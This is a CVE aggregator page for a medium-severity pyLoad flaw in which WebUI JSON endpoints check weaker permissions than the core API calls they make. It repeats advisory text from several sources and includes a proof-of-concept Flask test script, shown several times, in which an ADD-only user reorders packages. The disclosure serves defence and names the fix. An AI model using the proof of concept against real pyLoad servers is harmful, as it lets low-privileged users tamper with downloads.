Every CVE Search/ Get API key

CVE-2026-40071

pyLoad WebUI JSON permission mismatch lets ADD/DELETE users invoke MODIFY-only actions

5.4 MediumFix available

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
Low

Exploit likelihood

0.23%Up 0.2 points since Apr 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.4

pyLoad WebUI JSON permission mismatch lets ADD/DELETE users invoke MODIFY-only actions

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.

Record
CVE-2026-40071
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-863
Updated
2026-11-02
EUVDEUVD-2026-20998 5.4

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.

Record
EUVD-2026-20998
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-rfgh-63mg-8pwm 5.4

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
    • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
    • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from…
Record
GHSA-rfgh-63mg-8pwm
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-285, CWE-863
Updated
2026-11-02
NVD 5.4

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.

Record
CVE-2026-40071
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-863
Updated
2026-11-02
OSVGHSA-rfgh-63mg-8pwm 5.4

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
    • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
    • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from…
Record
GHSA-rfgh-63mg-8pwm
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-285, CWE-863
Updated
2026-11-02
OSVPYSEC-2026-2997 5.4

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
    • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
    • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from…
Record
PYSEC-2026-2997
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyload-ng
PyPI
before 0.5.0b3.dev97
0.5.0b3.dev97
pyload-ng
PyPI
before 0.5.0b3.dev97, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
0.5.0b3.dev97
pyload-ng
PyPI
through 0.5.0b3, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev1000.5.0b3.dev1010.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev32
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40071 is a medium vulnerability (CVSS 5.4) in Pyload, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in pyload-ng 0.5.0b3.dev97.

References

This page doesn't list everything

Left out here: 107 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open